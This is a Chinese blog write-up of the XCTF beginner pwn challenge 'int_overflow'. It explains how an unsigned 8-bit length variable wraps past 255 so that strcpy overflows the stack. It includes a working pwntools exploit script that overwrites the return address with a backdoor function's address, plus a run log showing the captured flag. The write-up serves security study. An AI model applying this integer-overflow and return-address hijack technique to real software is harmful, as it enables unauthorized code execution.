xctf int_overflow整数类型的溢出

本文最后更新于:2022年3月6日 晚上

整数类型的溢出

以xctf平台的pwn新手区int_overflow为例
into 为rename的elf文件

0X1

file into
chmod 777 into
./into

先确定into为32位elf文件

0X2

win环境下,32位IDA进行分析
有明显的后门函数what_is_this()
no1
进入login()后
no2
结合下图看看
no3

首先,我们可以发现,目前为止,找不到合适的直接溢出点,read函数都未越界。
唯一的落脚点来到strcpy()上,但是,s被限制再4到8个字节大小内,如果想达到栈溢出,覆盖返回地址,却至少需要读取大于dest数组0x14大小的填充数据。
这个时候,unsigned __int8 v3是突破口
查资料得知,int8的意思是占8个bit,因为是无符号数,范围是0到255之间。
回顾一下,check_passwd()函数传入的buf长度,有0x199这么大,足矣我们完成对int8的溢出。
截至目前,思路为,将buf的长度控制在256+4~256+8之间,达到v3>3&&v3<=8的条件,同时通过这两百五十多字节的数据布置,完成程序的劫持。
编写exp脚本如下

from pwn import*
p = remote(“ip_address”,port)
p.recv()
p.sendline(‘1’)
p.recv()
p.sendline(‘kawa’)
p.recv()
payload = b’a’*(0x14) + b’aaaa’ + p32(0x804868b) + b’a’*234
p.sendline(payload)
p.interactive()

linux中

python3 e.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Opening connection to 111.200.241.244 on port 65136: Done
/root/Desktop/e.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(‘1’)
/root/Desktop/e.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendline(‘fc’)
[*] Switching to interactive mode
Hello fc

Please input your passwd:
Success
cyberpeace{c592ce35706a19933e58ca21a03fb3c8}
[*] Got EOF while reading in interactive
$

结束

总结一下

本题重点是需要知道,int8是内存大小为8bit即1字节大小的空间,可以达到int类型溢出。否则无从下手!!!


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!